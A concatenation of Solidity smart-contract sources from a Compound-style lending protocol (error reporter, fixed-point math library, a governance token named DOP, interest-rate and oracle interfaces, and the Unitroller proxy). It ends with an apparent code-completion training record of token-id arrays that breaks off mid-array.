SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_COMPTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CarefulMath.sol";
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
contract Dop {
/// @notice EIP-20 token name for this token
string public constant name = "Drops Ownership Power";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "DOP";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint256 public constant totalSupply = 15000000e18; // 15m
/// @notice Allowance amounts on behalf of others
mapping(address => mapping(address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping(address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH =
keccak256(
"EIP712Domain(string name,uint256 chainId,address verifyingContract)"
);
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH =
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping(address => uint256) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(
address indexed delegator,
address indexed fromDelegate,
address indexed toDelegate
);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(
address indexed delegate,
uint256 previousBalance,
uint256 newBalance
);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender)
external
view
returns (uint256)
{
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 rawAmount)
external
returns (bool)
{
uint96 amount;
if (rawAmount == uint256(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint256) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 rawAmount) external returns (bool) {
uint96 amount =
safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(
address src,
address dst,
uint256 rawAmount
) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount =
safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance =
sub96(
spenderAllowance,
amount,
"Comp::transferFrom: transfer amount exceeds spender allowance"
);
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) public {
bytes32 domainSeparator =
keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name)),
getChainId(),
address(this)
)
);
bytes32 structHash =
keccak256(
abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)
);
bytes32 digest =
keccak256(
abi.encodePacked("\x19\x01", domainSeparator, structHash)
);
address signatory = ecrecover(digest, v, r, s);
require(
signatory != address(0),
"Comp::delegateBySig: invalid signature"
);
require(
nonce == nonces[signatory]++,
"Comp::delegateBySig: invalid nonce"
);
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return
nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint256 blockNumber)
public
view
returns (uint96)
{
require(
blockNumber < block.number,
"Comp::getPriorVotes: not yet determined"
);
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(
address src,
address dst,
uint96 amount
) internal {
require(
src != address(0),
"Comp::_transferTokens: cannot transfer from the zero address"
);
require(
dst != address(0),
"Comp::_transferTokens: cannot transfer to the zero address"
);
balances[src] = sub96(
balances[src],
amount,
"Comp::_transferTokens: transfer amount exceeds balance"
);
balances[dst] = add96(
balances[dst],
amount,
"Comp::_transferTokens: transfer amount overflows"
);
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(
address srcRep,
address dstRep,
uint96 amount
) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld =
srcRepNum > 0
? checkpoints[srcRep][srcRepNum - 1].votes
: 0;
uint96 srcRepNew =
sub96(
srcRepOld,
amount,
"Comp::_moveVotes: vote amount underflows"
);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld =
dstRepNum > 0
? checkpoints[dstRep][dstRepNum - 1].votes
: 0;
uint96 dstRepNew =
add96(
dstRepOld,
amount,
"Comp::_moveVotes: vote amount overflows"
);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint96 oldVotes,
uint96 newVotes
) internal {
uint32 blockNumber =
safe32(
block.number,
"Comp::_writeCheckpoint: block number exceeds 32 bits"
);
if (
nCheckpoints > 0 &&
checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber
) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(
blockNumber,
newVotes
);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint256 n, string memory errorMessage)
internal
pure
returns (uint32)
{
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint256 n, string memory errorMessage)
internal
pure
returns (uint96)
{
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(
uint96 a,
uint96 b,
string memory errorMessage
) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint256) {
uint256 chainId;
assembly {
chainId := chainid()
}
return chainId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
abstract contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external virtual view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external virtual view returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./CToken.sol";
abstract contract PriceOracle {
/// @notice Indicator that this is a PriceOracle contract (for inspection)
bool public constant isPriceOracle = true;
/**
* @notice Get the underlying price of a cToken asset
* @param cToken The cToken to get the underlying price of
* @return The underlying asset price mantissa (scaled by 1e18).
* Zero means the price is unavailable.
*/
function getUnderlyingPrice(CToken cToken) external virtual returns (uint);
function getUnderlyingPriceView(CToken cToken) public view virtual returns (uint);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ErrorReporter.sol";
import "./ComptrollerStorage.sol";
/**
* @title ComptrollerCore
* @dev Storage for the comptroller is at this address, while execution is delegated to the `comptrollerImplementation`.
* CTokens should reference this contract as their comptroller.
*/
contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter {
/**
* @notice Emitted when pendingComptrollerImplementation is changed
*/
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
/**
* @notice Emitted when pendingComptrollerImplementation is accepted, which means comptroller implementation is updated
*/
event NewImplementation(address oldImplementation, address newImplementation);
/**
* @notice Emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
// Set admin to caller
admin = msg.sender;
}
/*** Admin Functions ***/
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts new implementation of comptroller. msg.sender must be pendingImplementation
* @dev Admin function for new implementation to accept it's role as implementation
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptImplementation() public returns (uint) {
// Check caller is pendingImplementation and pendingImplementation ≠ address(0)
if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
// Save current values for inclusion in log
address oldImplementation = comptrollerImplementation;
address oldPendingImplementation = pendingComptrollerImplementation;
comptrollerImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = address(0);
emit NewImplementation(oldImplementation, comptrollerImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
/**
* @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer.
* @param newPendingAdmin New pending admin.
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
// Check caller = admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
// Save current value, if any, for inclusion in log
address oldPendingAdmin = pendingAdmin;
// Store pendingAdmin with value newPendingAdmin
pendingAdmin = newPendingAdmin;
// Emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin)
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin
* @dev Admin function for pending admin to accept role and update admin
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _acceptAdmin() public returns (uint) {
// Check caller is pendingAdmin and pendingAdmin ≠ address(0)
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
// Save current values for inclusion in log
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
// Store admin with value pendingAdmin
admin = pendingAdmin;
// Clear the pending value
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
fallback () payable external {
// delegate all other functions to current implementation
(bool success, ) = comptrollerImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 { revert(free_mem_ptr, returndatasize()) }
default { return(free_mem_ptr, returndatasize()) }
}
}
}
| Get the exchange rate and calculate the number of collateral tokens to seize: seizeAmount = actualRepayAmount liquidationIncentive priceBorrowed / priceCollateral seizeTokens = seizeAmount / exchangeRate = actualRepayAmount (liquidationIncentive priceBorrowed) / (priceCollateral exchangeRate)/ | uint seizeTokens;
| 564,630 | [
1,
967,
326,
7829,
4993,
471,
4604,
326,
1300,
434,
4508,
2045,
287,
2430,
358,
695,
554,
30,
225,
695,
554,
6275,
273,
3214,
426,
10239,
6275,
225,
4501,
26595,
367,
382,
2998,
688,
225,
6205,
38,
15318,
329,
342,
6205,
13535,
2045,
287,
225,
695,
554,
5157,
273,
695,
554,
6275,
342,
7829,
4727,
282,
273,
3214,
426,
10239,
6275,
225,
261,
549,
26595,
367,
382,
2998,
688,
225,
6205,
38,
15318,
329,
13,
342,
261,
8694,
13535,
2045,
287,
225,
7829,
4727,
13176,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
2254,
695,
554,
5157,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
